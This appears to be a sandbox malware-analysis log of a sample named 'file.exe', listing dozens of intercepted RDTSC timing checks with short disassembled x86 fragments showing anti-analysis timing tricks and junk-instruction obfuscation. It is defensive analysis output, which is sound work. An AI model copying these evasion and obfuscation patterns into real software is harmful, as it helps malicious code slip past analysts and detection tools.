Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9E0C second address: 8F9E12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9E12 second address: 8F9E29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F62C0B58F81h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8F9FB6 second address: 8F9FE0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F62C0F46582h 0x00000008 jmp 00007F62C0F4657Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F62C0F46584h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA295 second address: 8FA2AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62C0B58F84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FA2AD second address: 8FA2B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF835 second address: 8EF839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8EF839 second address: 8EF83E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FACEF second address: 8FACF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAE2F second address: 8FAE64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F62C0F46587h 0x0000000b popad 0x0000000c jmp 00007F62C0F4657Eh 0x00000011 jg 00007F62C0F46590h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAF91 second address: 8FAF97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAF97 second address: 8FAFB2 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F62C0F4657Eh 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAFB2 second address: 8FAFC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 je 00007F62C0B58F7Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FAFC5 second address: 8FAFE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46584h 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F62C0F46576h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE473 second address: 8FE47E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F62C0B58F76h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE47E second address: 8FE4A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F62C0F46584h 0x0000000e push eax 0x0000000f push edx 0x00000010 jne 00007F62C0F46576h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE5E5 second address: 8FE634 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jno 00007F62C0B58F76h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jnc 00007F62C0B58F78h 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F62C0B58F7Ch 0x00000020 popad 0x00000021 mov eax, dword ptr [eax] 0x00000023 jnp 00007F62C0B58F84h 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d pushad 0x0000002e push ecx 0x0000002f push edx 0x00000030 pop edx 0x00000031 pop ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 jne 00007F62C0B58F76h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE6C8 second address: 8FE714 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F4657Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F62C0F46583h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 jbe 00007F62C0F4657Eh 0x00000019 mov eax, dword ptr [eax] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F62C0F46584h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8FE714 second address: 8FE71E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F62C0B58F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90575C second address: 905768 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F62C0F46576h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905768 second address: 905772 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F62C0B58F76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C65E0 second address: 8C65FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F62C0F4657Ch 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007F62C0F46576h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C65FB second address: 8C660F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F80h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C660F second address: 8C661A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C661A second address: 8C661F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8C661F second address: 8C6633 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jbe 00007F62C0F46576h 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c jc 00007F62C0F4657Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904C78 second address: 904CA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jno 00007F62C0B58F87h 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F62C0B58F76h 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904DF0 second address: 904E11 instructions: 0x00000000 rdtsc 0x00000002 je 00007F62C0F46578h 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F62C0F4657Ah 0x0000000f jmp 00007F62C0F4657Bh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904E11 second address: 904E3D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F87h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jns 00007F62C0B58F78h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904E3D second address: 904E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904E43 second address: 904E47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904E47 second address: 904E52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904E52 second address: 904E58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904FAB second address: 904FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62C0F46583h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 904FC7 second address: 904FCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 905490 second address: 905496 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9055D8 second address: 9055FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 jmp 00007F62C0B58F88h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90A10C second address: 90A11A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F62C0F46576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90A11A second address: 90A11E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90A11E second address: 90A159 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 add dword ptr [esp], 40175AB8h 0x0000000e sub dword ptr [ebp+122D1CEBh], eax 0x00000014 call 00007F62C0F46579h 0x00000019 push esi 0x0000001a jne 00007F62C0F4657Ch 0x00000020 pop esi 0x00000021 push eax 0x00000022 pushad 0x00000023 pushad 0x00000024 pushad 0x00000025 popad 0x00000026 ja 00007F62C0F46576h 0x0000002c popad 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90A159 second address: 90A15D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B3E7 second address: 90B3EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B3EB second address: 90B3EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90B960 second address: 90B968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 90CBE6 second address: 90CBEB instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91006D second address: 910072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910AFA second address: 910B16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 915B8B second address: 915B91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9160AC second address: 9160BA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F62C0B58F76h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9160BA second address: 9160F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov ebx, 5F28034Bh 0x0000000d push 00000000h 0x0000000f adc di, F555h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push ecx 0x00000019 call 00007F62C0F46578h 0x0000001e pop ecx 0x0000001f mov dword ptr [esp+04h], ecx 0x00000023 add dword ptr [esp+04h], 00000017h 0x0000002b inc ecx 0x0000002c push ecx 0x0000002d ret 0x0000002e pop ecx 0x0000002f ret 0x00000030 xchg eax, esi 0x00000031 pushad 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9160F5 second address: 916107 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F62C0B58F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jg 00007F62C0B58F76h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 916107 second address: 91610B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9171DF second address: 9171F4 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F62C0B58F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007F62C0B58F76h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910882 second address: 910897 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62C0F46580h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 910897 second address: 9108B0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0B58F7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9108B0 second address: 9108B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9191A8 second address: 9191C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62C0B58F85h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9162A0 second address: 9162AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F62C0F46576h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9173C4 second address: 9173C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 918512 second address: 918516 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A1D8 second address: 91A1DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E304 second address: 91E36F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F62C0F46583h 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push eax 0x00000010 sub di, 0534h 0x00000015 pop edi 0x00000016 push 00000000h 0x00000018 and di, 004Ah 0x0000001d push 00000000h 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 call 00007F62C0F46578h 0x00000027 pop edi 0x00000028 mov dword ptr [esp+04h], edi 0x0000002c add dword ptr [esp+04h], 00000017h 0x00000034 inc edi 0x00000035 push edi 0x00000036 ret 0x00000037 pop edi 0x00000038 ret 0x00000039 xchg eax, esi 0x0000003a push eax 0x0000003b push edx 0x0000003c jl 00007F62C0F4658Ch 0x00000042 jmp 00007F62C0F46586h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919396 second address: 919433 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov bl, ch 0x0000000d push dword ptr fs:[00000000h] 0x00000014 jmp 00007F62C0B58F7Ch 0x00000019 mov dword ptr fs:[00000000h], esp 0x00000020 push 00000000h 0x00000022 push ecx 0x00000023 call 00007F62C0B58F78h 0x00000028 pop ecx 0x00000029 mov dword ptr [esp+04h], ecx 0x0000002d add dword ptr [esp+04h], 00000019h 0x00000035 inc ecx 0x00000036 push ecx 0x00000037 ret 0x00000038 pop ecx 0x00000039 ret 0x0000003a mov edi, 5D74CDA0h 0x0000003f call 00007F62C0B58F83h 0x00000044 movzx ebx, di 0x00000047 pop ebx 0x00000048 mov eax, dword ptr [ebp+122D0CA9h] 0x0000004e mov edi, dword ptr [ebp+122D2981h] 0x00000054 mov bl, 1Bh 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push esi 0x0000005b call 00007F62C0B58F78h 0x00000060 pop esi 0x00000061 mov dword ptr [esp+04h], esi 0x00000065 add dword ptr [esp+04h], 00000015h 0x0000006d inc esi 0x0000006e push esi 0x0000006f ret 0x00000070 pop esi 0x00000071 ret 0x00000072 mov dword ptr [ebp+1243CBDCh], ebx 0x00000078 nop 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A46C second address: 91A470 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91C528 second address: 91C52E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919433 second address: 919437 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D55D second address: 91D561 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91A470 second address: 91A47E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 919437 second address: 919463 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F62C0B58F76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F62C0B58F88h 0x00000010 jmp 00007F62C0B58F82h 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push edi 0x0000001d pop edi 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91D561 second address: 91D567 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9220C4 second address: 92213B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ebx 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push edi 0x0000000c call 00007F62C0B58F78h 0x00000011 pop edi 0x00000012 mov dword ptr [esp+04h], edi 0x00000016 add dword ptr [esp+04h], 0000001Bh 0x0000001e inc edi 0x0000001f push edi 0x00000020 ret 0x00000021 pop edi 0x00000022 ret 0x00000023 push 00000000h 0x00000025 jmp 00007F62C0B58F83h 0x0000002a sub dword ptr [ebp+122D1C2Ch], eax 0x00000030 push 00000000h 0x00000032 push 00000000h 0x00000034 push ebp 0x00000035 call 00007F62C0B58F78h 0x0000003a pop ebp 0x0000003b mov dword ptr [esp+04h], ebp 0x0000003f add dword ptr [esp+04h], 00000015h 0x00000047 inc ebp 0x00000048 push ebp 0x00000049 ret 0x0000004a pop ebp 0x0000004b ret 0x0000004c xchg eax, esi 0x0000004d push eax 0x0000004e push edx 0x0000004f pushad 0x00000050 jl 00007F62C0B58F76h 0x00000056 jp 00007F62C0B58F76h 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92213B second address: 922145 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62C0F4657Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91F39E second address: 91F41A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F62C0B58F7Ch 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f mov ebx, 1A825F6Bh 0x00000014 push dword ptr fs:[00000000h] 0x0000001b or edi, dword ptr [ebp+122D1D33h] 0x00000021 mov dword ptr fs:[00000000h], esp 0x00000028 push 00000000h 0x0000002a push ecx 0x0000002b call 00007F62C0B58F78h 0x00000030 pop ecx 0x00000031 mov dword ptr [esp+04h], ecx 0x00000035 add dword ptr [esp+04h], 00000016h 0x0000003d inc ecx 0x0000003e push ecx 0x0000003f ret 0x00000040 pop ecx 0x00000041 ret 0x00000042 mov di, dx 0x00000045 pushad 0x00000046 sub dword ptr [ebp+122D1E1Dh], eax 0x0000004c mov dword ptr [ebp+1246CD04h], ebx 0x00000052 popad 0x00000053 mov eax, dword ptr [ebp+122D088Dh] 0x00000059 sub di, 3A15h 0x0000005e push FFFFFFFFh 0x00000060 mov dword ptr [ebp+1243CCC5h], esi 0x00000066 nop 0x00000067 jc 00007F62C0B58F92h 0x0000006d push eax 0x0000006e push edx 0x0000006f push ecx 0x00000070 pop ecx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9203CA second address: 9203CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E533 second address: 91E537 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91F41A second address: 91F437 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62C0F46584h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9231D6 second address: 9231DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 91E537 second address: 91E53B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9231DC second address: 9231F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F62C0B58F7Ch 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9231F1 second address: 9231F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9231F7 second address: 9231FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 923404 second address: 92340A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92340A second address: 92341D instructions: 0x00000000 rdtsc 0x00000002 jno 00007F62C0B58F78h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92341D second address: 923423 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925373 second address: 925379 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925379 second address: 925393 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F62C0F46576h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jne 00007F62C0F46578h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 925393 second address: 925397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
